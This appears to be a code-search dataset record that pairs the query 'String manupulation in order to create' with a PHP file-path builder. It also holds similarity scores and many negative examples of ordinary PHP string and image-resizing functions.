($type['format'] === false)\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tswitch ($type['format'])\n\t\t\t\t{\n\t\t\t\t\tcase IMG_GIF:\n\t\t\t\t\t\t$image = @imagecreatefromgif($source);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase IMG_JPG:\n\t\t\t\t\t\t@ini_set('gd.jpeg_ignore_warning', 1);\n\t\t\t\t\t\t$image = @imagecreatefromjpeg($source);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase IMG_PNG:\n\t\t\t\t\t\t$image = @imagecreatefrompng($source);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase IMG_WBMP:\n\t\t\t\t\t\t$image = @imagecreatefromwbmp($source);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (empty($image))\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tif ($type['version'] == 1)\n\t\t\t\t{\n\t\t\t\t\t$new_image = imagecreate($new_width, $new_height);\n\n\t\t\t\t\tif ($new_image === false)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\timagecopyresized($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$new_image = imagecreatetruecolor($new_width, $new_height);\n\n\t\t\t\t\tif ($new_image === false)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Preserve alpha transparency (png for example)\n\t\t\t\t\t@imagealphablending($new_image, false);\n\t\t\t\t\t@imagesavealpha($new_image, true);\n\n\t\t\t\t\timagecopyresampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);\n\t\t\t\t}\n\n\t\t\t\tswitch ($type['format'])\n\t\t\t\t{\n\t\t\t\t\tcase IMG_GIF:\n\t\t\t\t\t\timagegif($new_image, $destination);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase IMG_JPG:\n\t\t\t\t\t\timagejpeg($new_image, $destination, 90);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase IMG_PNG:\n\t\t\t\t\t\timagepng($new_image, $destination);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase IMG_WBMP:\n\t\t\t\t\t\timagewbmp($new_image, $destination);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\timagedestroy($new_image);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tif (!file_exists($destination))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tphpbb_chmod($destination, CHMOD_READ | CHMOD_WRITE);\n\n\t\treturn true;\n\t}"
] | [
"0.68824023",
"0.61778486",
"0.6146446",
"0.59723806",
"0.59676695",
"0.59537494",
"0.5943045",
"0.5908543",
"0.58463055",
"0.58271897",
"0.58161885",
"0.576923",
"0.57621163",
"0.5741122",
"0.5724242",
"0.56999344",
"0.56931484",
"0.5684736",
"0.56583494",
"0.56408143",
"0.5637737",
"0.56284565",
"0.5621082",
"0.56197685",
"0.56063527",
"0.5558668",
"0.55569714",
"0.55365",
"0.54817873",
"0.5474428",
"0.5471404",
"0.54596627",
"0.5458122",
"0.5455641",
"0.5436802",
"0.5425056",
"0.54209167",
"0.5419963",
"0.54102176",
"0.5402264",
"0.5392563",
"0.53891903",
"0.5365031",
"0.5352509",
"0.53518367",
"0.5350461",
"0.53477734",
"0.5338036",
"0.533798",
"0.5335577",
"0.5333414",
"0.53310716",
"0.5306908",
"0.530267",
"0.5296659",
"0.5296207",
"0.52857804",
"0.5279814",
"0.5278571",
"0.52723885",
"0.5254605",
"0.5251484",
"0.52500653",
"0.5223909",
"0.52234685",
"0.5223243",
"0.52226865",
"0.5222422",
"0.522065",
"0.5220474",
"0.5212444",
"0.52084714",
"0.5202022",
"0.5201663",
"0.519843",
"0.5198174",
"0.51915854",
"0.5189213",
"0.51821995",
"0.5180815",
"0.5168082",
"0.5141894",
"0.513935",
"0.5134574",
"0.513378",
"0.5125847",
"0.51251626",
"0.51229495",
"0.5121739",
"0.51204836",
"0.510324",
"0.51030654",
"0.50991106",
"0.50955063",
"0.5090471",
"0.5088709",
"0.5087959",
"0.50869626",
"0.5079105",
"0.50700384",
"0.5069814"
] | 0.0 | -1 |
String manupulation in order to create | public function createFilePath($path, $fileName, $fileExtension = 'file', $isImage = false)
{
// Replaces all slashes with the standard DirectorySeperator
$path = str_replace ('/' , DS , $path);
//Puts the file or image into its according folder
if($isImage)
{
// Sets it to /img/path
$path = 'img'.DS.$path;
}
else
{
// Sets it to /file/path
$path = 'files'.DS.$path;
}
// Sets the path to /webroot/..(file or img)../path
$path = APP.'webroot'.DS.$path.DS;
// Remove any double accurences of the DirectorySeperator
$path = str_replace(array(
"\\\\",
"\\/",
"//",
"\\/",
"/\\"), DS, $path);
// Removes '.' from the fileExtension
$fileExtension = trim($fileExtension,'.');
return $path . $fileName . '.' . $fileExtension;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function makeString() {\n\t\t// Returns a string with the properties value. Uppercase the first character of each word\n\t\treturn ucwords($this->id. ' - '. $this->category). '<br />';\n\t }",
"public function generic_strings()\n {\n }",
"function s($s)\n {\n return Stringy::create($s);\n }",
"public function getStringAlgorithm() {}",
"public function string();",
"abstract protected function formatString($str);",
"function get_string() {\n\t\t$str = $this->_parse();\n return $str;\n }",
"function makeformatstring($names){\n\t$formatstring = '';\n foreach ($names as $name=>$type) {\n \tif($type=='@'){\n \t\t$formatstring .= $type.substr($name,2).\"/\";\n \t} else {\n \t\t$formatstring .= $type.$name.\"/\";\n \t}\n \t\n }\n return $formatstring;\n}",
"protected function createString() {\n\t\tswitch ( $this->columnSchema[ self::COLUMN_DEFINITION_TYPE ] ) {\n\t\t\tcase self::COLUMN_TYPE_CHAR:\n\t\t\tcase self::COLUMN_TYPE_VARCHAR:\n\t\t\t\t$maxLen = $this->columnSchema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ];\n\t\t\t\tbreak;\n\t\t\tcase self::COLUMN_TYPE_TEXT:\n\t\t\tcase self::COLUMN_TYPE_MEDIUMTEXT:\n\t\t\tcase self::COLUMN_TYPE_LONGTEXT:\n\t\t\t\t$maxLen = NULL;\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$string =\n\t\t\t\t$this->columnSchema[ self::COLUMN_DEFINITION_TYPE ]\n\t\t\t\t. ( !empty( $maxLen ) ? '(' . $maxLen . ')' : '' )\n\t\t\t\t. ( isset( $this->columnSchema[ self::COLUMN_DEFINITION_DEFAULT ] ) && $this->columnSchema[ self::COLUMN_DEFINITION_DEFAULT ] !== NULL\n\t\t\t\t\t\t? ' DEFAULT \"' . $this->columnSchema[ self::COLUMN_DEFINITION_DEFAULT ] . '\"'\n\t\t\t\t\t\t: '' )\n\t\t\t\t. ( isset( $this->columnSchema[ self::COLUMN_DEFINITION_IS_NULLABLE ] )\n\t\t\t\t\t\t? ( strtolower( $this->columnSchema[ self::COLUMN_DEFINITION_IS_NULLABLE ] ) == 'no' ? ' NOT NULL' : '' )\n\t\t\t\t\t\t: '' );\n\n\t\treturn $string;\n\t}",
"public function build($str)\n {\n $abc = [\"A\" => \"B\", \"B\" => \"C\", \"C\" => \"D\", \"D\" => \"E\", \"E\" => \"F\", \"F\" => \"G\", \"G\" => \"H\", \"H\" => \"I\", \"I\" => \"J\", \"J\" => \"K\",\n \"K\" => \"L\", \"L\" => \"M\", \"M\" => \"N\", \"N\" => \"Ñ\", \"Ñ\" => \"O\", \"O\" => \"P\", \"P\" => \"Q\", \"Q\" => \"R\", \"R\" => \"s\", \"S\" => \"T\",\n \"T\" => \"U\", \"U\" => \"V\", \"V\" => \"W\", \"W\" => \"X\", \"X\" => \"Y\", \"Y\" => \"Z\", \"Z\" => \"A\", \"a\" => \"b\", \"b\" => \"c\", \"c\" => \"d\", \"d\" => \"e\",\n \"e\" => \"f\", \"f\" => \"g\", \"g\" => \"h\", \"h\" => \"i\", \"i\" => \"j\", \"j\" => \"k\", \"k\" => \"l\", \"l\" => \"m\", \"m\" => \"n\", \"n\" => \"ñ\", \"ñ\" => \"o\",\n \"o\" => \"p\", \"p\" => \"q\", \"q\" => \"r\", \"r\" => \"s\", \"s\" => \"t\", \"t\" => \"u\", \"u\" => \"v\", \"v\" => \"w\", \"w\" => \"x\", \"x\" => \"y\", \"y\" => \"z\",\n \"z\" => \"a\"\n ];\n\n return strtr($str, $abc);\n }",
"private static function formatStr($str)\n {\n $roomType = '';\n $roomClass = '';\n $arr = array();\n\n if (isset($str) and ! empty($str)) {\n $arr = explode(\";\", $str);\n }\n\n $deli = \"\";\n for ($i = 0; $i < count($arr) - 2; $i ++) {\n $tempStr = $arr[$i];\n $roomType .= $deli . substr($tempStr, 0, strpos($tempStr, \"/\"));\n $roomClass .= $deli . $tempStr;\n }\n\n return ($roomType . \"*\" . $roomClass);\n }",
"function joinStr($str, $args){\n\t//$str = '將在%{level}級時解鎖%{name}';\n\tif(preg_match_all(\"/\\%{([\\d\\w\\_]+)}/\", $str, $match)){\n\t\t$r = [];\n\t\t$_args = [];\n\t\tforeach($match[1] as $_m){\n\t\t\t//$r[] = '\".@$args[\"'.$_m.'\"].\"';\n\t\t\t$r[] = \"%s\";\n\t\t\t$_args[] = $args[$_m];\n\t\t}\n\t\t$s = str_replace($match[0], $r, $str);\n\t\t$str = vsprintf($s, $_args);\n\t\t//var_dump(eval('$str = '.$s.';'));\n\t\t//var_dump($str);\n\t\treturn $str;\n\t}else{\n\t\treturn $str;\n\t}\n}",
"public function _strings_for_pot()\n {\n }",
"function chekString($value)\r\n{\r\n\r\n $temp = '<code style=\"font_size: 10px\">strint </code>';\r\n\r\n $temp .= \"<code style='font_size: 9px ; color:red '>\" . PHP_EOL;\r\n\r\n $temp .= \"'{$value}'\" . PHP_EOL;\r\n\r\n $temp .= \"</code>\";\r\n\r\n $temp .= '<code style=\"font_size: 10px\">' . PHP_EOL;\r\n\r\n $temp .= '(length=' . strlen($value) . ')' . PHP_EOL;\r\n\r\n $temp .= \"</code>\" . PHP_EOL;\r\n\r\n return $temp ;\r\n\r\n}",
"function __toString()\r\n {\r\n $string = '';\r\n\t$i=0;\r\n foreach ($this->pieces as $column) {\r\n\r\n foreach ($column as $piece) {\r\n if ($piece === '') {\r\n $string .= ('-');\r\n } else {\r\n $string .= $piece;\r\n }\r\n\t\t$i++;\r\n\t\tif($i%3==0)\r\n\t\t{\r\n\t\t\t$string .= \"\\n\";\r\n\t\t}\r\n }\r\n\r\n }\r\n\r\n return $string;\r\n }",
"public function build(): string;",
"public function build(): string;",
"function myCreator(){\n return \"Adokiye is my creator he is currently in stage 4 of the HNG internship, he will soon advance to stage 5\";\n}",
"public function getStringRepresentation(): string;",
"public static function make(string $string)\n {\n }",
"public static function getSampleString()\n {\n return \" some string with new \\n\\n lines and white spaces \\n\\n\";\n }",
"public static function construct_base_string()\n\t{\n\t\t$args = func_get_args();\n\t\tif (count($args) == 1 && is_array($args[0]) && isset($args[0][0]) && is_array($args[0][0]))\n\t\t{\n\t\t\t$args = $args[0];\n\t\t}\n\t\t$keys = array();\n\t\t$values = array();\n\n\t\tforeach ($args as $assoc_array)\n\t\t{\n\t\t\t$keys = array_merge($keys, array_keys($assoc_array));\n\t\t\t$values = array_merge($values, array_values($assoc_array));\n\t\t}\n\n\t\tarray_multisort($keys, SORT_ASC, SORT_STRING, $values, SORT_STRING, SORT_ASC);\n\t\treturn SPUtils::join_key_values(\"=\", \"&\", $keys, $values);\n\t}",
"public function getVerbalString();",
"function toString() {\n\n\t\t\t}",
"public function str_singular()\n {\n throw new Exception('Not implemented');\n }",
"public function generate()\n {\n return $this->_string;\n }",
"function asString();",
"function asString();",
"abstract function to_str();",
"function toString($str){\n\treturn \"'\" . $str . \"'\";\n}",
"function formatString($str, $type = null){\n\t\t$str\t= strtolower($str);\n\t\n\t\t// Loai bo khoang trang dau va cuoi chuoi\n\t\t$str\t= trim($str);\n\t\n\t\t// Loai bo khoang trang du thua giua cac tu\n\t\n\t\t$array \t= explode(\" \", $str);\n\t\tforeach($array as $key => $value){\n\t\t\tif(trim($value) == null) {\n\t\t\t\tunset($array[$key]);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\t\n\t\t\t// Xu ly cho danh tu\n\t\t\tif($type==\"danh-tu\") {\n\t\t\t\t$array[$key] = ucfirst($value);\n\t\t\t}\n\t\t}\n\t\n\t\t$result = implode(\" \", $array);\n\t\n\t\t// Chuyen ky tu dau tien thanh chu hoa\n\t\t$result\t= ucfirst($result);\n\t\n\t\treturn $result;\n\t}",
"function formatStr($str)\t{\n\t\tif (is_array($this->conf[\"general_stdWrap.\"]))\t{\n\t\t\t$str = $this->local_cObj->stdWrap($str,$this->conf[\"general_stdWrap.\"]);\n\n\t\t}\n\t\treturn $str;\n\t}",
"function toString(){\r\n\r\n\t}",
"public function buildString()\n {\n $string = '';\n foreach ($this->buffer as $str) {\n $string .= $str.\"\\n\";\n }\n return $string;\n }",
"public static function getSampleString(): string\n {\n return \" some string with new \\n\\n lines and white spaces \\n\\n\";\n }",
"public function make(): string;",
"function __toString(){\n\t\treturn $this->_String4;\n\t}",
"function cls_string($mensaje){\n\t/*$mensaje=str_replace(array(\"'\",\"\\\\\",\"\\\"\",\"'\",\"�\",\"�\",\"\\'\"),\"\",$mensaje);\n\t$mensaje=$mensaje;/**/\n\treturn $mensaje;\n}",
"function cls_string($mensaje){\n\t/*$mensaje=str_replace(array(\"'\",\"\\\\\",\"\\\"\",\"'\",\"�\",\"�\",\"\\'\"),\"\",$mensaje);\n\t$mensaje=$mensaje;/**/\n\treturn $mensaje;\n}",
"public function __toString()\n\t{\n\t\t$parts = $this->parts;\n\t\tif(count($parts) == 0) {\n\t\t\treturn '';\n\t\t}\n\n\t\t$name = '';\n\t\tif($this->absolute) {\n\t\t\t$name = $parts[0];\n\t\t\t$parts = array_slice($parts, 1);\n\t\t}\n\t\t$path = '';\n\t\tif(count($parts)) {\n\t\t\t$path = sprintf('[%s]', implode('][', $parts));\n\t\t}\n\n\t\treturn $name . $path;\n\t}",
"public function wktGenerateMultilinestring();",
"function toString(){\n\t\treturn $this->_String4;\n\t}",
"public static function format($str, $template) {}",
"public function __toString(): string\n {\n $aString = array();\n $aString['shape'] = 'equilateral triangle';\n $aString['side'] = $this->side;\n $aString['area'] = $this->getArea();\n $aString['perimeter'] = $this->getPerimeter();\n return json_encode($aString);\n }",
"public function toStringBasic()\n {\n $generator = All::create();\n $name = (string)$generator;\n $this->assertRegexp('/.+/', $name);\n }",
"public function getString() {}",
"function toString($newLine = \"\\n\") {\n\t\t$string = '';\n\t\t$string .= \" ID[$this->_ID] $newLine\";\n\t\t$string .= \" ReplacesTerms[$this->_ReplacesTerms] $newLine\";\n\t\t$string .= \" Version[$this->_Version] $newLine\";\n\t\t$string .= \" Description[$this->_Description] $newLine\";\n\t\t$string .= \" HtmlLink[$this->_HtmlLink] $newLine\";\n\t\t$string .= \" PdfLink[$this->_PdfLink] $newLine\";\n\t\treturn $string;\n\t}",
"public function Create ( )\r\n\t {\r\n\t\t$default\t= '' ;\r\n\t\t\r\n\t\tif ( $this -> StringSize < 16384 )\t\t// Not really the maximum size of a VARCHAR, but we have to fix a limit\r\n\t\t {\r\n\t\t\t$value_type\t= \"VARCHAR( {$this -> StringSize} )\" ;\r\n\t\t\t$default\t= \"DEFAULT ''\" ;\r\n\t\t }\r\n\t\telse if ( $this -> StringSize < 65536 )\r\n\t\t\t$value_type\t= \"TEXT\" ;\r\n\t\telse if ( $this -> StringSize < 16 * 1024 * 1024 )\r\n\t\t\t$value_type\t= \"MEDIUMTEXT\" ;\r\n\t\telse\r\n\t\t\t$value_type\t= \"LONGTEXT\" ;\r\n\t\t\r\n\t\tif ( $this -> StringIndexSize )\r\n\t\t\t$value_index\t= \"KEY\t\t( value( {$this -> StringIndexSize} ) ),\" ;\r\n\t\telse\r\n\t\t\t$value_index\t= '' ;\r\n\t\t\r\n\t\t$sql\t= <<<END\r\nCREATE TABLE IF NOT EXISTS {$this -> Name}\r\n (\r\n\tid\t\tBIGINT UNSIGNED\t\tNOT NULL AUTO_INCREMENT\r\n\t\t\t\t\t\tCOMMENT 'Unique id for this string entry',\r\n\ttype\t\tINT\t\t\tNOT NULL DEFAULT 0\r\n\t\t\t\t\t\tCOMMENT 'Value type ; can be used to differentiate between value groups',\r\n\tchecksum\tINT UNSIGNED\t\tNOT NULL DEFAULT 0\r\n\t\t\t\t\t\tCOMMENT 'CRC32 hash of the string value',\r\n\t\r\n\tvalue\t\t$value_type \t\tNOT NULL $default\r\n\t\t\t\t\t\tCOMMENT 'String value',\r\n\t\t\t\t\t\t\r\n\tPRIMARY KEY\t( id ),\r\n\t$value_index\r\n\tKEY\t\t( type, checksum )\r\n ) ENGINE = MyISAM CHARSET latin1 COMMENT '{$this -> Comment}' ;\r\nEND;\r\n\t\t\r\n\t\tmysqli_query ( $this -> Database, $sql ) ;\r\n\t }",
"public function __toString()\n {\n return $this->str;\n }",
"public function __construct($str = 'here is some text')\n {\n $this->main_str = $str;\n }",
"public function getString()\n {\n return $this->format('%s%s%s');\n }",
"public function string()\n\t{\n\t\treturn csscrush_string(\n\t\t\t$this->filename, \n\t\t\t$this->get_params(FALSE, array('filename', 'attributes'))\n\t\t);\n\t}",
"public function create($strChunk);",
"public function __toString(){\n\t\t$temp = $this->name;\n\t\t$temp .= \", \";\n\t\tif($this->sex==true)\n\t\t\t$temp = $temp . \"male, \";\n\t\telse\n\t\t\t$temp= $temp . \"female, \";\n\t\t$temp .= \"born \". $this->dateofbirth;\n\t\t\t\n\t\treturn $temp;\n\t}",
"private function getFromStr()\n {\n $result = \"`{$this->tbl_name}`\";\n if (!empty($this->db_name)) {\n $result = \"`{$this->db_name}`.{$result}\";\n }\n return $result;\n }",
"public function createKeyString()\n\t{\n\t\t$keystring = $this->factory->createKeyString( $this ) ;\n\t\treturn $keystring ;\n\t}",
"private function _genCode(){\n\t\t$str = \"1 2 3 4 6 7 8 9 a b c d e f g h k m n P t\";\n\t\t\n\t\t$temp = explode(\" \", $str);\n\t\t$c1 = $temp[rand(1, 20)];\n\t\t$c2 = $temp[rand(1, 11)];\n\t\t$c3 = $temp[rand(1, 13)];\n\t\t$c4 = $temp[rand(1, 20)];\n\t\t$c5 = $temp[rand(1, 18)];\n\t\t$c6 = $temp[rand(1, 20)];\n\t\t\n\t\t$chars = $c1.$c2.$c3.$c4.$c5.$c6;\n\t\t\n\t\treturn strtolower($chars);\n\t}",
"public static function createAttrString($attr=null){\n\t\t$output = '';\n\t\tif(is_string($attr))parse_str($attr, $attr);\n\t\tif(is_null($attr))return '';\n\t\tforeach($attr as $key=>$value){\n\t\t\t$value = str_replace('\"', '\\\\\"', $value);\n\t\t\tif(is_null($value) or empty($value))$output .= (' '.$key);\n\t\t\telse $output .= (' '.$key.'=\"'.$value.'\"');\n\t\t}\n\t\treturn trim($output);\n\t}",
"public function strRepresentation() {\n\t\t$retstr = \"\";\n\t\t$retstr .= \"Card \".$this->name.\" - \".$this->id.\" is a(n) \".$this->getTypeAsStr().\" card with a cost of \".$this->cost.\".<br />It boosts the following stats:<br />\";\n\t\t$retstr .= \"Body: \";\n\t\t$retstr .= print_r($this->body, true);\n\t\t$retstr .= \"<br />Mind: \";\n\t\t$retstr .= print_r($this->mind, true);\n\t\t$retstr .= \"<br />Soul: \";\n\t\t$retstr .= print_r($this->soul, true);\n\t\t$retstr .= \"<br />And gives a vitality boost of \".$this->vit;\n\t\treturn $retstr;\n\t}",
"public function __toString(): string\n {\n $self = $this;\n \n $tokens = array_map(function ($token) use ($self) {\n if (preg_match('{^(-[^=]+=)(.+)}', $token, $match)) {\n return $match[1].$self->escapeToken($match[2]);\n }\n \n if ($token && $token[0] !== '-') {\n return $self->escapeToken($token);\n }\n \n return $token;\n }, $this->tokens);\n \n return implode(' ', $tokens);\n }",
"public function __toString() {\n $this->_txtOutput = str_replace(\"#ROOT#\", CFG_WEB_ROOT, $this->_txtOutput);\n\n $this->_txtOutput = preg_replace_callback('/#CONST:([\\w]*?)#/u', array($this, '_getConstreplacement'), $this->_txtOutput);\n $this->_txtOutput = preg_replace_callback('/#TPL:([\\w]*?)#/u', array($this, '_getTplreplacement'), $this->_txtOutput);\n $this->_txtOutput = preg_replace_callback('/#IF:([!=<>:\\-\\(\\)\\$\\[\\]\\'\\w]*?)#(.*?)#\\/IF#/us', array($this, '_getIfreplacement'), $this->_txtOutput);\n $this->_txtOutput = preg_replace_callback('/#FOREACH:([\\w]*?)#(.*?)#\\/FOREACH#/us', array($this, '_getForeachreplacement'), $this->_txtOutput);\n $this->_txtOutput = preg_replace_callback('/#VAR:([\\w]*?)#/u', array($this, '_getVarreplacement'), $this->_txtOutput);\n\n return $this->_txtOutput;\n }",
"function to_str(){\n //\n //A string version of a literal is basicaly the literal itself as a string \n //hence it should be encosed in double quotes incase it is needed to be \n //converted into json\n return \"'$this->value'\";\n }",
"public function __toString()\n\t{\n\t\t$string = '[line]: ' . $this->line . \"\\n\";\n\t\t$string .= '[type]: ' . $this->typeToString($this->type) . \"\\n\";\n\t\t$string .= '[value]: ' . $this->value . \"\\n\";\n\t\treturn $string;\n\t}",
"protected function generate()\n {\n $this->resultString = Stringy::create('');\n\n /*\n * @var Field\n */\n foreach ($this->values as $valueClass) {\n $this->resultString = $this->resultString->append($valueClass->getValue());\n }\n\n return (string) $this->resultString;\n }",
"abstract public function generate() : string;",
"public function __toString()\n {\n return new Mystring(\"This is an instance of Mysidia Spacing class.\");\n }",
"public function toString() {\n $s= $this->getClassName().'@('.$this->hashCode().\"){\\n\";\n $s.= ' [ name ] '.$this->name.\"\\n\";\n $s.= ' [ value ] '.$this->value.\"\\n\";\n $s.= ' [ mustUnderstand ] '.xp::stringOf($this->mustUnderstand).\"\\n\";\n $s.= ' [ encodingStyle ] '.$this->encodingStyle.\"\\n\";\n $s.= ' [ actor ] '.$this->actor.\"\\n\";\n return $s.'}';\n }",
"function toString() {\n\t}",
"public function __toString()\n\t{\n\t\t//empty line\n\t\t$text = ' ';\n\t\t$text .= 'id = ' . $this->id;\n\t\t$text .= ' description = ' . $this->description;\n\t\t$text .= ' price = ' . $this->price;\n\n\t\treturn $text;\n\n\t}",
"public function __toString()\n {\n return $this->str;\n }",
"public function __toString(): string\n {\n switch ($this->operation) {\n case self::ADDED:\n $string = '+';\n break;\n case self::REMOVED:\n $string = '-';\n break;\n default:\n $string = ' ';\n break;\n }\n\n $string .= $this->content . $this->getLineDelimiter();\n\n if ('' === $this->getLineDelimiter()) {\n $string .= PHP_EOL . '\\ No newline at end of file' . PHP_EOL;\n }\n\n return $string;\n }",
"function get_string() {\n\t\t$attribs = $this->__attribs();\n\t\t$str = $this->__str();\n\t\t$str = '<a'.$attribs.'>'.$this->label.$str.'</a>';\n\t\treturn $str;\n\t}",
"public function str( $remove = true );",
"public static function gen_id($str)\n\t\t{\n\t\t\treturn str_replace('-', '_', self::gen_seoname($str));\n\t\t}",
"public function createComponent() : string\n {\n return Formatter::format( $this );\n }",
"protected\n function init_e_string()\n {\n $maybe_quoted = new Ando_Regex('(?<before_string>.*?)$string|(?<anything_else>.+)', '@@s');\n $maybe_quoted->interpolate(array(\n 'string' => $this->grammar['string'],\n ));\n $this->e_string = $maybe_quoted;\n }",
"public function __toString()\n {\n return $this->str_value;\n }",
"public function __tostring()\n\t{\n\t\t$string = $this->contents;\n\n\t\tforeach ($this->fields as $field => $snips) {\n\t\t\t$spacing = '';\n\t\t\t// disappointed that I can't seem to correctly match whitespace\n\t\t\t// at the beginning of a line\n\t\t\t$pattern = '/([\\t ]*)\\{\\{' . $field . '\\}\\}/';\n\t\t\tif (preg_match($pattern, $this->contents, $matches)) {\n\t\t\t\t$spacing = $matches[1];\n\t\t\t}\n\n\t\t\t$replacement = '';\n\n\t\t\t// Also add tabbing here\n\t\t\t$replacement .= implode(\"\\n{$spacing}\", $this->snippetArrayToLines($snips));\n\n\t\t\t$string = str_replace('{{' . $field . '}}', $replacement, $string);\n\t\t}\n\n\t\treturn $string;\n\t}",
"function _($string) {\n\t\treturn $string;\n\t}",
"public function __toString() {\n $params = [];\n $str = '';\n foreach ($this->data as $x => $row) {\n $str .= '[ ';\n foreach ($row as $y => $value) {\n $str .= \"%s \";\n $params[] = $value;\n }\n $str .= \"]\\n\";\n }\n return vsprintf($str, $params);\n }",
"public function __toString() {\n\t\t$infoUsuario = $this->usr.\": \";\n\t\t$infoUsuario .= $this->nombre.\" \";\n\t\t$infoUsuario .= $this->ap_paterno.\" \";\n\t\t$infoUsuario .= $this->ap_materno.\"<br />\".PHP_EOL;\n\t\t$infoUsuario .= \"Sucursal: \". $this->sucursal;\n\t\t$infoUsuario .= \" Tipo: \" . $this->tipo_usuario;\n\t\t$infoUsuario .= \" Seguridad: \" . $this->permisos();\n\n\t\treturn $infoUsuario;\n\t}",
"function _dumpToString () {\r\n return \"text \\\"\".substr (preg_replace ('/\\s+/', ' ', $this->content), 0, 40).\"\\\" [f:\".preg_replace ('/\\s+/', ' ', join(':', array_keys ($this->_flags))).\"]\";\r\n }",
"function encode_string($str)\r\n {\r\n return strlen($str) . ':' . $str;\r\n }",
"function make_url_string($value) {\n\n\t\t// Lower\n\t\t$result = strtolower($value); \n\n\t\t// Replace special chars\n\t\t$char_search = array('�', '�', '�', '�', '�', '�', '�');\n\t\t$char_replace = array('oe', 'ae', 'ue', 'oe', 'ae', 'ue','ss');\n\t\t$result = trim(str_replace($char_search, $char_replace, $result));\n\t\t$result = str_replace(array('!', '\"', '#', '$', '%', '&', '\\'', '(', ')', '*', '+', ',', '.', '/', ':', ';', '_', '@', '\\\\', '<', '=', '>', '?', '[', ']', '^', '`', '{', '|', '}', '~'), ' ', $result);\n\n\n\t\t// Verify characters\n\t\t$result = preg_replace('/([^a-z0-9]+)/', '-', $result);\n\n\n\t\t// Reduce hyphen to one\n\t\t$result = preg_replace(\"#([\\-])+#\", \"\\\\1\", $result);\n\n\n\t\t// No invalid characters at the begin and the end\n\t\twhile(strlen($result) > 0 && substr($result, 0, 1) == '-') {\n\t\t\t$result = substr($result, 1);\n\t\t}\n\n\t\twhile(strlen($result) > 0 && (substr($result, -1) == '-' || in_array(substr($result, -1), $char_search))) {\n\t\t\t$result = substr($result, 0, strlen($result) - 1);\n\t\t}\n\n\t\treturn $result;\t\n\t}",
"function printableString () {\n \t\t$classname = get_class($this);\n \t\t$string = 'a';\n \t\t\n \t\tif (in_array(strtolower($classname[0]), array('a', 'e', 'i', 'o', 'u')))\n \t\t\t$string .= 'n';\n \t\t\n \t\t$classname[0] = strtoupper($classname[0]);\n \t\t$string .= ' '.$classname;\n \t\t\n \t\treturn $string;\n \t}",
"public function __toString () {\r\n\t\treturn '';\r\n\t}",
"public function elaboraStringa( $stringa );",
"function addSlhs($elm){return \"'\".$elm.\"'\";}",
"public function __toString(): String{\n $garage = \"\";\n $jardin = \"\";\n if ($this->hasGarage()){\n $garage = \" avec un garage\";\n }\n if ($this->hasJardin()){\n $jardin = \" et un jardin\";\n }\n return \"Maison situé \".$this->getPays().\" dans la ville de \".$this->getVille().\" avec le code postal : \".$this->getCp().\" avec \".$this->getEtage().\" étage(s) \".\", \".$this->getChambre().\" chambre(s)\".$garage.$jardin;\n }",
"private function createRandomString() {\n\t\t$characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t\t$res = '';\n\t\tfor ($i = 0; $i < 20; $i++) {\n\t\t\t$res .= $characters[mt_rand(0, strlen($characters) - 1)];\n\t\t}\n\t\treturn $res;\n\t}",
"private function makeEscapedString() {\n\t\t# -- so, call this function after makeConnection() called -- #\n\t\t\n\t\ttry {\n\t\t\t$this->_code = $this->_mysqli->real_escape_string($this->_code);\n\t\t\t$this->_name = $this->_mysqli->real_escape_string($this->_name);\n\t\t\t$this->_description = $this->_mysqli->real_escape_string($this->_description);\n\t\t\t$this->_color = $this->_mysqli->real_escape_string($this->_color);\n\t\t}\n\t\tcatch (Exception $e) {\n\t\t\t# do nothing\n\t\t}\n\t\t\n\t}",
"private function format_string($str)\n {\n $str = str_replace(\"\\t\", \"%09\", $str);\n $str = str_replace(\"+\", \"%2B\", $str);\n $str = str_replace(\":\", \"%3A\", $str);\n $str = str_replace(\"/\", \"%2F\", $str);\n return $str;\n }",
"public function toString()\n {\n $func = 'build'.ucfirst(strtolower($this->operation));\n return $this->$func();\n }",
"function asString () {\n \t\treturn $this->printableString();\n \t}",
